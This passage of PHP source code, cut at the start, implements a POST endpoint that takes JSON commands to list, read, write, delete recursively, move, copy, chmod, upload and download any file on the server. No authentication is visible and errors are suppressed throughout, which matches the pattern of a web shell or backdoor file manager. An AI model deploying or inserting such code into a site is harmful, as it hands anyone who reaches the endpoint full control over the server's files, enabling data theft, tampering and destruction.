= 1073741824) return round($bytes / 1073741824, 2) . 'G'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . 'M'; if ($bytes >= 1024) return round($bytes / 1024, 2) . 'K'; return $bytes . 'B'; } function delete_recursive($path) { if (is_file($path)) return @unlink($path); if (is_dir($path)) { $items = @scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; delete_recursive($path . '/' . $item); } } return @rmdir($path); } return false; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $input = file_get_contents('php://input'); $data = json_decode($input, true); if (isset($data['ls'])) { $path = get_path($data['ls']); if (!is_dir($path)) send_json(['ok' => 0, 'error' => 'Not a directory']); $items = @scandir($path); if ($items === false) send_json(['ok' => 0, 'error' => 'Cannot read']); $list = []; foreach ($items as $item) { if ($item === '.') continue; $full = $path . '/' . $item; if ($item === '..') { $list[] = ['n' => '..', 't' => 'd', 's' => '', 'p' => '', 'm' => '']; } else { $list[] = [ 'n' => $item, 't' => is_dir($full) ? 'd' : 'f', 's' => is_file($full) ? format_size(filesize($full)) : '', 'p' => substr(sprintf('%o', fileperms($full)), -4), 'm' => date('Y-m-d H:i', filemtime($full)) ]; } } usort($list, function($a, $b) { if ($a['n'] === '..') return -1; if ($b['n'] === '..') return 1; if ($a['t'] !== $b['t']) return $a['t'] === 'd' ? -1 : 1; return strcasecmp($a['n'], $b['n']); }); send_json(['ok' => 1, 'path' => $path, 'items' => $list]); } if (isset($data['cat'])) { $path = get_path($data['cat']); if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']); $content = @file_get_contents($path); if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']); send_json(['ok' => 1, 'content' => $content]); } if (isset($data['write'])) { $path = get_path($data['write']); $content = isset($data['content']) ? $data['content'] : ''; $result = @file_put_contents($path, $content); send_json(['ok' => $result !== false ? 1 : 0]); } if (isset($data['mkdir'])) { $path = get_path($data['mkdir']); $result = @mkdir($path, 0755, true); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['rm'])) { $path = get_path($data['rm']); $result = delete_recursive($path); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['mv']) && isset($data['to'])) { $from = get_path($data['mv']); $to = get_path($data['to']); $result = @rename($from, $to); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['cp']) && isset($data['to'])) { $from = get_path($data['cp']); $to = get_path($data['to']); $result = @copy($from, $to); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['chmod'])) { $path = get_path($data['chmod']); $mode = isset($data['mode']) ? octdec($data['mode']) : 0644; $result = @chmod($path, $mode); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['dl'])) { $path = get_path($data['dl']); if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']); $content = @file_get_contents($path); if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']); send_json(['ok' => 1, 'name' => basename($path), 'data' => base64_encode($content)]); } if (isset($data['upload'])) { $path = get_path($data['path']); $content = base64_decode($data['upload']); $result = @file_put_contents($path, $content); send_json(['ok' => $result !== false ? 1 : 0]); } send_json(['ok' => 0]); } ?>